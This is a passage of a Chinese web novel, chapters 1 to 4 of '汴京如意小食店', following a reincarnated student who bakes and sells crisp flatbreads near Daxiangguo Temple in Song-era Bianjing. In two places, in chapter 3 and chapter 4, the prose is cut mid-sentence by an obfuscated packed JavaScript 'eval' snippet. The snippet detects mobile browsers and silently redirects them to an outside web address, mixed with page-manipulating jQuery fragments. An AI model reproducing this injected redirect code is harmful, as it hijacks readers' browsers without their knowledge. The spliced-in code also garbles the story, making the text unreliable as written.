《汴京如意小食店》 1. 小庵堂、糯米糕 孟夏时节，汴京城内杨柳茂盛，一片绿意盎然。 一大清早，纵横交错的街道上吆喝声、买卖声交织在一起，人声熙熙攘攘不绝。 路上行人一多，自然免不了推搡磕碰。 感觉背后有人靠近，一名灰衣男子回头怒目相视。紧接着，就被眼前一张明媚的笑脸晃花了眼—— 那小娘子的声音也好听，软糯中透着两分明媚来。 “这位郎君，可否麻烦让一让？” 灰衣男子看着眼前端秀明丽的小娘子，稍稍怔愣了片刻，等回过神来，赶紧侧身让开一条路。 姜如意客客气气的道了声谢。 从心里感叹一声，不愧是繁华的汴京城，百姓素质就是高。 她紧一紧肩上的小包袱，继续沿街朝前走去。 街道两旁熙熙攘攘，越往城里走，街市上越是热闹。路边上，一个卖糯米糕的小摊子散发着香气，吸引了不少人行人的注意力。 糯米糕，用提前浸泡了一夜的糯米上笼蒸熟，然后蘸凉水反复捶打揉搓成团。 将这雪白的糯米团擀平，中间铺红豆馅或者枣泥陷，再用刀切成小块，吃的时候依口味浇上些桂花蜜。 雪白的米糕，中间夹着胭脂色的馅料，上头浇一勺黄金剔透的花蜜，光看着就觉赏心悦目。 这糯米糕入口软糯劲道，滋味香甜可口，在夏天配上一碗桂花冰酥酪，堪称消暑佳品。 姜如意捏了捏干瘪的钱袋，自那摊子上收回目光，默默从心里叹了口气。 想到自己初来汴京城，身上的银钱不多。 她顾不上贪看眼前风景，沿着汴河往西，一路上七拐八拐，终于拐进条不起眼的小巷里，伸手拍开面前庵堂的门。 不多时，庵堂的门打开，里面露出张一团稚气的胖圆脸。 见外头是位眼生的小娘子，那胖圆脸小尼姑，好奇的朝她打量了几眼。 “小娘子是来上香的吗？这会儿师父正在做早课，还请小娘子等一等。” 姜如意摇摇头，弯起一双笑眼解释：“早前给慧慈师太写过信的，劳烦小师父通报一声。” 那胖圆脸的小尼姑眼睛亮了起来：“可是姜小娘子？” 见姜如意点头，小尼姑赶紧将门打开：“师父早先提起过的，请姜小娘子跟我来。” “有劳。” 姜如意松了一口气，朝小尼姑点点头，然后抬脚朝里面走去。 庵堂里，姜如意看着一脸慈祥的慧慈师太，先递上手里的公验。 公验，是由古代官府开具的纸质证件，作用类似于现代的身份证明。 听见慧慈师太细微的叹气声，姜如意脸上保持住笑容的同时，心里也跟着叹气。 她原本是现代一名普通的学生，每日辗转在宿舍和实验室之间，虽然时不时掉一大把头发，日子过的苦逼却也充实。 因着家里开了间餐馆，所以闲暇之余，她在网上发发食谱，做一名佛系的美食博主。 那天晚上，她正一边等外卖，一边跟网友热火朝天的讨论，螺蛳粉里究竟放鹅掌还是炸蛋更好吃的问题。 突然间眼前一黑，等再次睁眼时，人已经到了古代。 一想到自己实验已经完成了一大半，人却熬夜猝死，最后连口热乎的粉都没嗦上，姜如意心里一百个后悔。 后悔过之后，也只能认命的接受了现实。 根据模糊的记忆，原主父亲是开封府的一名小吏，因在一桩旧案中遇险，同妻子双双丧生，只留下了原主一人。 考虑到原主年龄尚小，在京中又无其他亲眷照顾，只好将她送进了专门收养孤儿的慈幼局。再然后，这具身体里的灵魂，就阴差阳错的换成了如今的她。 因着慈幼局是官家德政，再加上早些年有开封同僚的照顾，所以这一世里，姜如意成长的还算顺当。 今岁她年满十六，离了慈幼局。想着左右无处可去，索性回了这繁华陌生的汴京城。 等将那张公验细细看过，慧慈师太抬头看过来，语气里透着上了年纪的慈祥。 “上旬时候，裴局长就曾写过信来，言姜小娘子想在庵里借住一段时间。” “这庵堂虽然不大，但只有我和静宛二人，地方足宽裕的，姜小娘子放心住下就是。” 姜如意连忙真心实意的道谢：“多谢师太。” 她自怀里掏出一包银钱，朝慧慈师太递过去：“这里面是半个月的住宿费，请师太收下。” 在来的路上，姜如意就仔细思量过。 据慈幼局的裴局长所说，他跟慧慈师太是旧识。慧慈师太修行多年，是一位顶慈祥有智慧的老人。自己初到汴京城，住在这里最合适不过。 虽说是借住，但总不能白住不是？ 想到裴局长那张平日里乐呵呵的脸，再忖度了一下“旧识”二字。 姜如意想着，不如先付一部分住宿的银钱，其余的等自己赚了钱再补上。 虽然提前思量过，但事到跟前，姜如意心里仍有些忐忑。 好在慧慈师太并未在意。 只笑说了句姜小娘子有心了，就将银钱收下。 等出了佛堂，姜如意紧绷了一早上的心，才算放松下来，开始好好打量这座小庵堂。 如慧慈师太所说，这座院子的面积并不大，里里外外却拾掇的十分干净。 四四方 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姜如意听着静宛的话，笑眯眯点了一下头：“替我多谢师太。” 她又看一眼窗外厨房的方向，想着慧慈师太的话，脸上笑容更深。 裴局长说的没错，慧慈师太果然是一位慈祥有智慧的老人。 等把行李安置妥当，姜如意挽起袖子进了小厨房。没过多久，厨房里就冒起了热腾腾的水蒸气。 …… 下午的时候，慧慈师太和静宛，以及小庵堂来上香的香客，就吃上了新鲜出炉的糯米糕。 一块块切成四方形状的糯米糕，里面夹了红色的枣泥馅料，摆在青瓷碟子里，衬得那糕色白如雪，光看着就觉得精致。 庵堂里来上香的香客不多，姜如意的糯米糕做的多了些，索性分给香客们，让她们带回去路上尝尝。 等将糯米糕分完，姜如意端着盘子朝这边走过来。 慧慈师太朝她招了招手，笑容慈祥的说道：“听说姜小娘子拥有一手好厨艺，那间小厨房空着也是空着，如今正好给小娘子用。” 许是裴局长在信中，提起过姜如意的厨艺，所以看到这新出炉的糯米糕，慧慈师太的脸上并没有过多的惊讶。 依姜如意猜测，那间单独的小厨房，包括小厨房里的食材，多半也是因此特意准备下的。 姜如意在慧慈师太旁边坐下，开口说道：“正要因为这件事感谢师太，所以做了些糯米糕，给师太尝尝。” 接着又调皮的眨眨眼：“倒不曾想，香客们先沾了师太的光。” 2. 布幌子、薄脆胡饼 慧慈师太闻言笑了起来，也学着姜如意的样子，朝她眨眨眼睛：“说不定她们尝过姜小娘子的糕，后面常常来上香，届时，倒是庵堂里沾姜小娘子的光了。” 慧慈师太说着，拿起一块糯米糕放入口中。 这糯米糕入口，只觉得外皮软糯绵厚，里面的馅料丰腴细腻，外皮和内馅相互交织，微甜的糯米香和浓郁的枣香在口腔中相混合，果然滋味极好。 慧慈师太边吃边点头称赞：“姜小娘子的手艺真好，这一回，倒果真是香客们有口福。” 静宛年纪小，本就对这些甜食感兴趣。听慧慈师太这么说，她赶紧拿起糯米糕咬了一口，接着眼神就是一亮，双手捧着糯米糕，一口一口往嘴里送。 “姜小娘子做的糯米糕真好吃，比城里的那些专门卖糯米糕的铺子，做的还要好。” 在本朝，已经出现了专卖各种吃食的铺子，从肉类蔬果，到糕点蜜饯，乃至饮品、酒水、各类香糖果子应有尽有，价格也非常亲民。 姜如意笑眯眯收下了静宛的夸奖。 “小师父既然喜欢就多吃些。” 静宛高兴的哎了一声，捏一捏手心里雪白的糯米糕，又用嘴吹了两下，张嘴咬下去。 因为是刚出炉的，糕的表面还冒着热气，一口咬下去，糕体格外的绵软。一块糯米糕下肚，感觉全身热乎乎的，舒服又熨帖。 静宛吃完第二块糯米糕，有些依依不舍的抹抹嘴，又朝盘子里看过去。 嗯，要不要再吃一块？可是师父和姜小娘子才吃第一块呢。 静宛那张胖乎乎的圆脸皱成了一团，显得十分纠结。 姜如意吃完一块，略微有些遗憾的说道：“其实这糯米糕，还是用新鲜的糯米做才最好吃。” 见静宛朝自己看过来，姜如意细细地将门道说给她听。 “等将泡软蒸熟的糯米稍稍放凉之后，捶打碾至半碎，然后揉成光滑的团子，再将一层糯米团一层馅料相叠。” “吃的时候，口感又黏又软不说，还能吃到颗颗分明的糯米粒。等放凉了，糕体会变得更劲道些，又是另外一番滋味。” “若是想吃咸口的也不难，提前在锅里加上一块猪板油，等锅里温度热起来，猪板油逐渐融化，等那丰腴的油脂一点一点渗入糯米团中，滋味相当美妙。” 咕噜。 静宛听着姜如意的描述，馋的吞了一口口水，立马决定再吃一块。 眼下这糯米糕就很好吃了。 至于姜小娘子说的那甜的咸的……嗯，她是出家人，一点都不馋。 慧慈师太装作没看见徒弟的小动作，等吃完手里的糯米糕，慧慈师太十分含蓄的摸一下肚子，喝了一口清茶问道：“听说姜小娘子，日后打算靠卖吃食为生？” 姜如意点头：“正有这样的打算。” 本朝商业繁盛，一改前朝的坊市制度，变为街市制，连宵禁也一并取消了。除此之外，女子也可以外出经商，自立门户。 “只是初来汴京城，对城中情况还不了解，所以想请教师太。” 慧慈师太略微思量一下：“若说热闹，莫若大相国寺。恰好这几日里，大相国寺正庆祝立夏节气，最是香火鼎盛，游人聚集的时候，姜小娘子若是得了空，可以去转转。” 姜如意眼神亮了起来：“多谢师太指点。” …… 第二日清晨，姜如意同慧慈师太打过招呼，就早早出了门。 昨日匆忙进城，未来得及好好欣赏城中景色。 今日这一路上，只见汴京城内街巷交错，行人车马川流不息。 宽阔的汴河两侧，大大小小的摊位夹岸而设，虽然人多热闹，却又处处都井然有序，一点不显杂乱，实是一副四海升平的繁华景象。 宽大的河道中遍植莲荷，两岸杨柳茵茵，莺啼婉转声悦耳。 姜如意站在桥上，好好的欣赏了一番眼前美景。然后才不慌不忙的沿街道一路向东，朝大相国寺走去。 如慧慈师太所说，今日的大相国寺十分热闹。穿行在游人如织的街道上，遥遥就能听见寺庙之内，威严古朴的钟声响起。 大相国寺每每逢初一，十五，逢八，都允许百姓在内交易。 因着立夏节气的缘故，这几日来的香客尤其多，其中或求姻缘，或求前程，或求出门经商平安，亦或是单纯出来逛逛。总之，大殿和寺内都挤满了人。 姜如意先不急着卖东西，而是找了一棵临街的大树，将挎在胳膊上的竹篮子放下。 面对这些来来往往的香客，让她当街现吆喝不太可能，何况周围人声嘈杂，吆喝声也传不了多远。 只见她从随身的竹篮里拿出件东西，迎风抖开，却是只小小的布幌子。 这布幌子，是她昨日下午特意赶制出来的。 上面写了薄脆胡饼四个大字，右下角是一个姜字，末端连着根小竹竿，往竹篮子上一插，就是个现成的简易招牌。 这个时辰，周围已经有了不少摊贩，不时有香客路过停下买东西。 见姜如意一个明媚娇俏的小娘子，身前摆着一只大竹篮子，上面用青布盖的严严实实。再看那布幌子，制作的实在是精巧别致。 有客人好奇上前询问：“卖的可是胡饼？” 姜如意笑笑：“却不是寻常胡饼，客人请看前头的薄脆二字。虽然个头比寻常胡饼小些，但做法却是独一份的。两文钱一个，客人要不要尝尝？” 来上香的客人，倒不是很在乎银钱，况且被姜如意的说法勾起了好奇心。 做法独一份的胡饼？不知是什么味儿，倒真想买来尝尝。 那客人按捺不住好奇心，又朝盖着青布的篮子上看一眼，随即点点头。 “那就先来一个尝尝味。”说罢，就掏出两文钱递过去。 姜如意接过银钱，掀开盖在竹篮子上的青布，却不用手，而是用只精巧的竹夹子夹了，将胡饼递给客人，嘴上说道：“客人请慢用。” 那客人先是被这轻巧便利的竹夹子吸引，随即，视线就看向手里的胡饼。 只见这薄脆胡饼看起来极薄一片，应该是今早刚烤过的，被青布盖着，一点潮气都没渗进去，饼的两面颜色金黄，上面洒满了白色的芝麻，个头的确比寻常的胡饼小些，看起来就很有食欲。 他好奇的一口咬下去。 嗯嗯？ 只听这薄脆胡饼的外壳咔嚓一声，在口腔中碎成一片，黄金薄酥的胡饼混合着芝麻，嚼起来酥香酥香的，还有股特殊的焦甜味，越嚼越香。 那客人忍不住咬了第二口，然后“咔嚓”“咔嚓”三两口吃完，意犹未尽的舔舔嘴叫道：“好吃。小娘子，再要两个 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左边那名灰衣男子看着年纪大些，等跨出寺门，先长长松了一口气，乐呵呵地朝身旁的年轻男子说道：“呵呵，今日公事进展顺利，又难得是立夏节气，寺中热闹的很。不如让某陪裴少尹，在附近随意逛逛？” 裴昭听着自今日清晨开始，就一直在耳边滔滔不绝的属官，有些头疼的按了按太阳穴。他不动声色的抖抖衣袖，拂去刚才在寺中沾上的檀香味，看向眼前街道。 街道上正热闹着，有不少摊贩在做生意。因着大相国寺这几日节庆，开封府专门派了不少衙役来，保证游人安全的同时，也能维持四周秩序。 属官见这位新上任的少尹不说话，也顺着他的眼神看过去。就见人群当中，一棵茂密的柳树下，一名相貌端秀的小娘子，正笑眯眯的跟人说着话。 那小娘子的笑容明媚如初夏阳光一般，乍一见到这样的笑容，属官感觉这几日，因为公事压在心头的阴霾，竟都被飞快驱散了几分，心头都似暖洋洋的。 他乐呵呵地笑道：“这几日来上香的小娘子们，着实不少。看树下那一位，多半是求到一支姻缘好签，裴少尹您说是不是？” 裴昭闻言，面色古怪的扭过头朝他看了一眼。 那女郎方才明明自对面人手里收了钱，又笑眯眯的递了份吃食过去。 再看她面前摆着的竹篮子，篮子上插着的做工精巧的布幌子，还有手上……嗯，手上拿的夹吃食的竹夹子，分明是今日来摆摊的商贩。 自己这位属官，究竟从哪看出来对方是香客的？ 裴昭纳闷之余，心头又有些疑惑，城中卖吃食的摊贩，何时这么心思灵巧，细致讲究了？ 心里这样想着，他不免又朝那女郎身上多看了几眼。 大树底下，姜如意正招呼对面的客人，周围人声嘈杂，她脸上却自始至终笑盈盈的，也不见她怎样，言语间却莫名带着股让人舒服的暖意。 耳边，属官大为感慨了一番，又有继续滔滔不绝的架势。 裴昭收回视线，淡淡的开口打断：“衙门还有公事，回吧。” “哎。” 显然对这位性子清冷的年轻上峰有些惧怕，属官应了一声，匆匆随他离开。 3. 桑皮纸、姜辣羹 临街的大树下，还不知道就在不久前，出现了一段关于自己的小插曲。 姜如意正笑眯眯的送走眼前最后一位客人，看着篮子里所剩不多的薄脆胡饼，数了一下今日所赚的银钱。 因着是第一日试营业，姜如意做的薄脆胡饼数量不是很多，这小半日下来，除去成本，赚的竟然足足有一百多文钱，约莫着能抵上近十日的房钱。 嗯，算是开了个好头。 姜如意喜滋滋从心里盘算着，无意间转头，就见旁边正有人盯着自己瞧。 姜如意纳闷的朝那人看过去，发现竟是隔壁摆摊的女郎。 花二娘原本正好奇的盯着这边看，乍一看到姜如意转头看她，她吓了一跳，连忙把头低下，紧接着又抬起头来，略显羞涩的朝这边笑笑。 姜如意也报以一个微笑。 花二娘见姜如意极好相处，长长松了一口气，这才大起胆子搭讪。 她先指了指姜如意前面的竹篮子，笑容略显羞涩的称赞道：“小娘子今日的生意真好。” 姜如意看向花二娘的摊位，只见她身后一排三层竹架子，每一层都用麻绳固定，看上去十分结实。竹架上面摆满了花草，入眼绿茵茵的一片，不同品种的花卉夹杂点缀其间，在太阳底下十分好看。 姜如意笑眯眯地回道：“小娘子今日的生意也很不错。” 这倒不是她有意奉承，今天这一上午，这些花草吸引了不少香客驻足，光是她看见的，就有好几位香客离开的时候，手上都或捧或拎着一盆花。 花二娘听姜如意这样说，笑着抿抿嘴：“不过是占了立夏节气的光罢了，比不上小娘子的薄脆胡饼。” 话毕，她又十分好奇的指指姜如意那竹篮子：“不过也难怪，这薄脆胡饼我以前从未听过，更别说尝了，难怪小娘子说是独一份的。” “还有那夹饼的竹夹子也新奇，那样酥脆的胡饼，只力气大些就能碰碎，怎么偏偏用竹夹子，夹起来就又轻巧又稳当呢？” 花二娘看起来内向，没想到说起话来十分健谈。 姜如意看着她好奇的表情，不禁莞尔，她从篮子里夹出个薄脆胡饼，递到她面前，又顺手把那竹夹子一并给她。 “也不是什么新奇的秘密，这竹夹子前头宽，后面窄，两片宽大的竹片一起使力，受力面积大，压力自然就分散了，况且这饼看着薄，却也没那么容易碎。” 也不知花二娘听不听得懂什么是“受力面积”，“分散压力”，只见她一边听着，一边赞叹着点头，将竹夹子翻来覆去看了几遍，又好奇的朝薄脆胡饼上咬去。 “咔嚓”“咔嚓”两声，那薄脆胡饼一入口，花二娘脸上立刻露出跟第一位食客同样的表情。 她先朝姜如意感叹：“小娘子当真做的一手好胡饼。” 等将手里那一整个烤的金黄薄脆的胡饼吃完，花二娘还有些意犹未尽的舔舔嘴，等她反应过来，连忙掏出银钱递给姜如意。 花二娘满脸歉意说道：“光顾着吃饼，忘记付钱给姜小娘子了。” 姜如意摆摆手：“一张饼不值什么，不必客气。倒是二娘这些花养的极好。” 姜如意朝她摊子上指去，花二娘见姜如意也是同道中人，脸上的立刻露出个兴奋的笑容，热情的给她介绍起来。 等收摊回去的时候，姜如意手里，就多了两盆栀子花并一盆兰草。 栀子花是平素常见的，碧绿色的枝叶，带着一节老桩种在盆里，被花二娘照料的极好，价格却不很贵，何况花二娘半卖半送，姜如意推辞不过，便多买了一盆。 再过月余就是栀子花开的季节，这两盆栀子花的枝叶，已经生长的十分茂盛，隐约可见小小的花骨朵在其中，料想开花的时候必定满屋飘香。 兰草却和后世人们熟知的兰花不一样，而是《诗经》里常提起的佩兰，据说有药用价值。 姜如意从前倒是未曾留意过这种草，今日听花二娘介绍，又凑近了闻闻，果然有股淡淡的独特香味。 拎着这三盆花草，并来时的竹篮子，姜如意沿着汴河不紧不慢的往回走。 街道上，周围摆摊的商贩吆喝声，比来时还要热闹。 姜如意缓缓的走着，待走到一处拐角，突然闻见一股冲鼻的辛香味，她停下脚步，朝那香味传来的摊子上看去。 眼前是个卖姜辣羹的摊子，这会儿还未到用晡食的时辰，摊子上却散坐了不少客人，每个人面前摆了一个大碗，手里还拿着张带馅的胡饼，正配着羹大口大口的嚼。 姜如意问清了摊主，要了一碗姜辣羹并一张胡饼，然后就坐在长条凳上，抬头随意看着街上的景色。 在她周围，也有不少这样的座位，都是给当街吃饭的客人准备的。 姜如意看着眼前宽阔的汴河，吹着从河面吹来的微风，顿时感觉十分惬意。 正想着，一股浓郁的姜辣味猛地钻进鼻腔，将姜如意的视线拉了回来。 她低头看向眼前那只粗瓷碗，里面正散发着香气，右边还有一只同样的粗瓷碟子，放着张比巴掌大些的胡饼。 姜如意使劲吸了吸鼻子，一股鲜香蹿进鼻腔中，她一手拿饼，另一只手拿起勺子朝碗里舀去。 这姜辣羹是由鲜鱼加上大量姜末，用大火熬制出来的。 鱼就地取材，用的是汴河新里捞上来的鱼，只约莫三寸来长，鱼头鱼尾占了一大半，鱼身子上的肉没有多少，只占一个鲜字。 经过长时间的熬煮，鱼的鲜味同姜的呛辣味，一起渗入到汤汁中，喝上一口，只觉得胃里暖洋洋的，连带着头上都出了汗。 饼看上去倒没什么出挑的，内里的芯子却很绵软，咬在嘴里被汤羹一浸便化了，咸津津的别有一番滋味。 将这一碗鲜美的鱼羹喝完，姜如意后背上都出了一层薄汗，她心满意足的离了摊子，晃悠着朝小庵堂走去。 …… 第二日，当姜如意挎着竹篮子，出现在大相国寺外时，已经有零散几名香客提前等在那里。 姜如意有些意外的走到大树下，先将竹篮子放下，又将那布幌子放好，开口问道：“客人是要买饼吗？” 一名陌生的香客朝姜如意询问道：“可是昨日卖的薄脆胡饼？” 姜如意连忙笑笑：“正是薄脆胡饼，请问郎君要买几个？” 那香客昨日听说大相国寺外，有卖味道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15182028|165323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极好的薄脆胡饼，昨日来却未碰上，今日早早便来寻着。 倒是没料到，卖饼的竟是这样一位俏丽的小娘子，不免好奇的多看了几眼。 姜如意倒不在意，只仔细用竹夹子将饼递过去：“这是您要的薄脆胡饼，请拿好。” 也有眼熟的客人兴奋的开口：“太好了，昨日买的薄脆胡饼几口就吃完了，小娘子，今日给我多拿几个。” 遇到这样的客人，姜如意会指一指篮子里面，笑眯眯的朝他推荐。 “郎君若是买的多，零散的怕是不好拿，况且一下子也吃不完。不如买这十个一份包好了的，都是今早上现烤的，买十个还有优惠，只要十八文钱。” 那客人顺着姜如意所指的方向看过去，就见竹篮子里，果然有提前包好的薄脆胡饼。 米黄色的桑皮纸中，一包十个薄脆胡饼摆放整齐，外面用纸绳捆扎好，右下角写了一个小小的姜字。纸绳两端再从上面打个结，方便客人提着走。 其中，有还一袋十分贴心的打开着，方便给客人展示用。 那客人看一眼这包装精巧的薄脆胡饼，再听说买十个还优惠，十分痛快的点点头：“那行，就要这十个一份包好的。” 付钱的时候，还不忘朝姜如意夸赞道：“小娘子的心思当真灵巧，胡饼这么用纸一包，细致讲究不说，拿着再方便不过了。” 见状，又有几位客人上前问价，等离开的时候，手里都提着一包薄脆胡饼。让一旁的花二娘看的啧啧赞叹。 陆陆续续又送走了几位客人，等得了闲，姜如意靠在身后的大树上出神。 想起昨日她吃姜辣羹的那小摊子，只需要摊车一摆，布幌子迎风一挂，就有客人源源不断的上门，时间久了，都变成了熟客。 嗯，说不定再多努力一段时间，自己也能摆个像这样的小摊子，到时候就不用整日拎着个篮子，忙起来的时候，东西都没地方搁。 转而想到自己那只付了一半的房钱，姜如意不禁又叹一口气。如今最要紧的，还是好好赚钱啊。 就这么有一搭没一搭的想着，前头又来了客人。姜如意重新在脸上挂起个笑容，招呼起来的客人。 眼前来的这位小郎君，约莫十三、四的年纪，穿了一件湖蓝色衫子，五官长得极好。 听他一开口，姜如意就不自觉笑了起来。 “可是昨日卖的薄脆胡饼？” 姜如意听着他的话，心想今日的客人们莫非都是提前商量好的？怎么问出来的话，都一个字不差？ 同时又从心里面庆幸，看来自己这生意做的不错，才一天的工夫，瞧瞧已经有口碑了。 那小郎君见面前卖饼的小娘子笑容明媚，一双大眼睛纳闷的眨了眨，不禁有些怀疑自己找错了地方。 昨日在监学里，同窗带去的那薄脆胡饼，又脆又酥香，他昨晚上想了一夜，今天早早就来找，发誓一定要吃上刚出炉的。 姜如意笑够了之后，见对面小郎君纳闷的抓着头发，大眼睛里充满了疑惑，连忙止住了笑容。 她点点头回答：“正是昨日卖的薄脆胡饼，小郎君是先单独买来尝尝，还是买一份十个包好了的？” 4. 回头客、香蕈豆腐汤 裴拾听姜如意这么说，这才看到一旁的竹篮子里，摆着好几包用纸包好了的薄脆胡饼。 难怪方才在路上，他看到好几位香客手上，都拎着这样一包吃食。 姜如意见他看过来，又笑着开口给他介绍了一遍：“这包好的饼，也是今早上现烤的，同零卖的一样，而且一包十个还有优惠，只卖九个的价钱。” 裴拾听完点点头，想也不想就开口：“那就要一份包好了的。” 倒不是因为价钱优惠，而是一个两个的薄脆胡饼，他实在是不够吃啊。 裴拾说完之后，又用手抓抓头发，有些不好意思的说道：“那个，能不能再给我拿两个零卖的，回去的路上吃。” 姜如意闻言笑了起来，觉得眼前的小郎君，实在是直率可爱。 她痛快的点点头：“没问题。” 等从姜如意手上接过薄脆胡饼，裴拾先迫不及待的咬了一口，然后激动的嗯嗯两声 没错，就是这家的薄脆胡饼，味道酥香可口，果然刚出炉的最好吃。 裴拾眼神亮晶晶的朝姜如意挥挥手：“多谢小娘子，等改日吃完了，我再来买。” 然后就拎着那一大包薄脆胡饼，兴冲冲的朝来路上走去。 …… 傍晚时分，当裴昭下值的时候，就见一辆马车停在衙门外面。见他出来，马车的帘子被掀开，里面露出一张笑容灿烂的脸。 裴拾用手的掀着帘子，兴冲冲朝这边挥了挥手：“阿兄，我来接你下值。” 裴昭今日穿了一身绯色官服，他眉眼生的本就精致，一双狭长的桃花眼，双眼皮略窄，后端却略微向上扬，瞳孔漆黑深邃，皮肤较旁人更白皙些。 这一身官服穿在身上，不笑的时候，衬得整个人多了几分锐利锋芒。 裴昭自马车中坐定，马车缓缓朝裴府方向行去。 裴拾似乎对身后的开封府衙门很是好奇，一直到马车都走远了，他才放下旁边的帘子，依依不舍的将目光收了回来。 耳边传来淡淡的声音：“又闯祸被赶出来了？” 裴拾原本正满脸兴奋，听见裴昭的问话，脑袋立刻耷拉了下来，十分心虚的揉揉鼻子：“怎么会呢？我今日是特意来接阿兄的。” 裴昭看一眼这位关系不近不远的族弟，没有拆穿，他沉默着阖上眼睛，后背靠在身后的车厢上，静静思索起来。 这几日庆祝立夏节庆，城中各处地方都在举办活动，治安方面十分需要注意。今日府尹大人安排下来，从明日起，由他亲自带人在城内巡查，以免出什么乱子。 一想到城中各街道人山人海的场面，裴昭有些头疼的皱眉。 裴拾原本等着阿兄先开口问自己，此时见他闭目沉默不语，心里变得惴惴不安起来。 他轻咳了一声，心虚的说道：“只不过这几日，学正要考校学问，我还有两篇文章没记熟。今日阿娘又去礼佛，不在家中。” “阿兄，这两日我能不能住在你府上？” 裴昭睁开双眼，看一眼裴拾那满脸期待的模样，显然已经习惯了他每隔段时间，为逃学业被三叔责罚，偷偷躲在自己府上的行为。 裴昭点点头：“可以。” “我就知道阿兄最好了。” 裴拾兴奋的欢呼了一声，见裴昭看着自己，又有些纳闷的摸摸嘴巴：“阿兄，你这样看着我做什么？” 难道，他嘴巴上有啃饼留下的残渣？ 裴拾这么想着，连忙用手朝嘴边蹭了蹭，见嘴上果然有饼渣，他连忙用手蹭掉。 就听一旁淡淡的声音响起来：“还有衣服上和袖口处。” 额。裴拾有些不好意思的低下头，果然发现自己衣服上也有不少饼渣，连忙用手拍拍拍。 没办法，谁让姜小娘子烤的胡饼那么酥香，他一路上吃的太投入了，一不小心就掉在了衣服上。 等将身上和袖子上的饼渣都清理干净，裴拾又朝自己身上检查了一遍，这才放心的重新坐好。 裴昭视线随他右手边看过去，果然见那里放着包吃食。 这吃食倒也讲究，不仅用纸包好，还在外面捆了一圈纸绳。此时绳子已经解开，纸也皱了一半，想必是因为一路上吃过来，被压皱的。 在那吃食的右下角，写着一个小小的姜字。 许是这印记有些眼熟，裴昭不免多看了几眼，一时之间却想不起从哪里见过。 裴拾见他盯着薄脆胡饼看，连忙说道：“这是从大相国寺外面，姜小娘子那里买来的薄脆胡饼，味道特别好，阿兄要不要尝尝？” 大相国寺外面卖饼的小娘子？ 裴昭脑海里，浮现出昨日那名笑容明媚的女郎，心里一时间恍然。 怪不得自己觉得这姜字眼熟，想来那布幌子上的字，同这纸包上是一样的。 裴拾兴冲冲的伸手去拿薄脆胡饼，一摸之下，嗯？竟然没有了。 裴拾讷讷的收回手，迎上裴昭看过来的目光，有些不好意思的笑笑：“饼被我吃完了，不过阿兄你别生气，下回我再买其它好吃的来送给你。” 裴昭摇头：“不必了。” “哦。” 裴拾看着自己这位性子清冷的兄长，乖乖的应了一声，识相的闭上嘴。 说起来，这么长时间了，他还未见过阿兄喜欢什么吃食呢，似乎连门都极少出，尤其不爱去人多的地方。 自己每一次闯祸，都躲在阿兄府上，一定要买点好吃的报答他才行。 就是不知道他爱吃什么。 裴拾盯着车厢里闭目养神的裴昭，歪一歪脑袋，认真的思索起来。 …… 小庵堂里，传来哒哒切菜声，姜如意正在做饭。 将洗好的菘菜切条，干香蕈用水泡发切丝，胡萝卜切细条。豆腐先用温水清洗过两遍，然后切拇指大小的豆腐块。 锅中放素油炒香葱姜，然后将三样蔬菜丝下锅。 只听“滋啦”一声响，食材接触到锅里的热油，上面的水分溅起一串细小的水珠，然后飞快的蒸发掉，紧接着一股浓郁的香气自锅中冒了出来。 厨房外面，静宛努力吸了吸鼻子，透过窗户好奇的向里面瞧：“姜姐姐今日又做什么好吃的？” 经过这几日相处，静宛早就被姜如意的厨艺折服了，整日一口一个姜姐姐的叫着，连圆脸都似胖了一圈。 姜如意看着静宛嘴馋的模样，不禁弯眼笑笑，朝她回答道：“香蕈豆腐汤，油用的也是素油，待会儿就能吃了。” 静宛清脆的“哎”了一声，然后就趴在窗户上，安静等待饭做好。 姜如意任她在外头等着，手底下不慌不忙，等蔬菜丝炒够了火候，往里面加一大碗热水，然后手脚麻利的将豆腐块扔进去。 等汤熬好的工夫，姜如意在案板上将面和好，烧热铁锅开始烙饼。 随着铁锅温度缓缓升高，饼的一面逐渐变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15182029|165323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成金黄色，姜如意利落的拿铲子翻了个面，饼在半空中划出个漂亮的弧度。 等饼烙的两面金黄，里面绵软适口的时候，旁边的香蕈豆腐汤也煮好了，她又往汤里勾一层薄芡，这顿热腾腾的饭就出锅了。 静宛一见到饭菜出锅，连忙勤快的端碗搬凳子，等将筷子摆好，她迫不及待的朝小木桌上看去。 只见奶白浓郁的汤上飘着点点油花，里面浮着四方白嫩的豆腐，红、绿、黑三色蔬菜点缀其间，如丝如缕的，一眼望过去煞是好看。 “尝尝味道怎么样。” 姜如意给自己和静宛两人，一人舀了一碗汤，她将勺子里的汤吹凉，这才朝嘴里放去。 嗯，入口顺滑咸香，因为主料是豆腐的缘故，这汤熬出来格外的鲜美。 三种蔬菜丝被油炒过一遍，带着蔬菜自身的甜味，其中香蕈丝更劲道些，吃在嘴里别有一番风味。 静宛喝着这香蕈豆腐汤，再配着金黄的烙饼，边吃边不住的点头。 “姜姐姐的手艺真好，最近这两日，师父都说我胖了。” 姜如意听着静宛的言语，忍不住朝她脸上看一眼，想抬手捏捏她的胖圆脸，但是又忍住。 她笑笑说道：“小师父正是长身体的时候，是要多吃些的。” 静宛点一下头，乐呵呵说道：“师父也是这么说的，姜姐姐你跟师父说的一样，那肯定是对的。” 